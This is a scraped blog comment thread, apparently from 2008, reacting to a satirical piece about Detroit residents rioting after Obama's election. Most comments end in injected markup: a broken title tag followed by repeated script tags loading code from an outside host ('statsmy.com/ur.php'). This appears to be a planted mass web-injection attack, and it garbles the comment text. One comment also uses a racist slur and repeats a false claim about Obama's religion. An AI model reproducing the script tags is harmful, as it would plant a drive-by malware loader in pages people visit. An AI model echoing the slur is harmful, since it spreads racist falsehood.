Smooth Operator - Obama Win Bittersweet for Detroit Residents Hoping to Riot

1. by George Malik on 11/5/2008 12:26:09 PM

You do realize that there were no *actual* riots commemorating the Red Wings' or Shock's championships, right? Satire good. Perpetuating belief that every Detroit celebration consists of a riot, not so good.<ifr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I just want to make it clear that I used all of my literary power to crush the black Muslim bastard Hussein Obama, and I failed. The forces against the Repubs were too great. In any case, if Brittany Spears had run for President on the Dem ticket, she would have one. It's a pendulum shift back to the left this year after 8 years of Bush. That is all. People will puke out on Liberalism in 4-8 years and it will swing back to the right again. *YAWN*."0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I highly doubt enough people cared about the Shock to riot. I'm from Michigan, I lived just a couple hours north of Detroit for several years. I don't think it's that far of a stretch to say that rioting did often (not always) ensue after a major sporting event, though not on a large scale. Michigan State (Lansing) is probably worse in regards to rioting after sporting events than Detroit though.ne </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Elections swing with the economy... bad economy means bad times for the Republicans. I think any Republican would have had a tough time against any Democrat this year... expecially when you consider too the bad blood toward's Bush. That said, I'm impressed with Obama. I see a lot of potential to do great things. I just hope that it can translate into real world success... which isn't always a given.tp:/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Sooooo funny! I can't believe no one has ever written anything like this. You must be proud of yourself, Kris, for having such an original comedic mind.

Pretty tin-eared. Conflates "race riots" and "sports riots", making it sound like the writer might be employed in a Taiwaineese blogging sweatshop and only familiar with American culture via internet memes.

Hey Kris... When was the last full scale riot in Detroit? 1968? 1967? 1984? There have been no overturned burning cars since 1984. The absurd picture of something from the 1950's or 1960's and labeled riot following the Red Wings Victory etc... bullsh*t. Get your facts straight before you condemn the city... there are plenty of other ways to do it, leave the citizens out of it.g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

Freak and jackanape, if you wanted satire, the author should've used Philadelphia or State College, even Los Angeles, not Detroit. Either of those cities would've been much more topical and more funny. Using Detroit isn't satire, nor is it funny. It's hackneyed and it just smacks of laziness by the author. Leave the newspaper satire to The Onion you fucking idiots. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
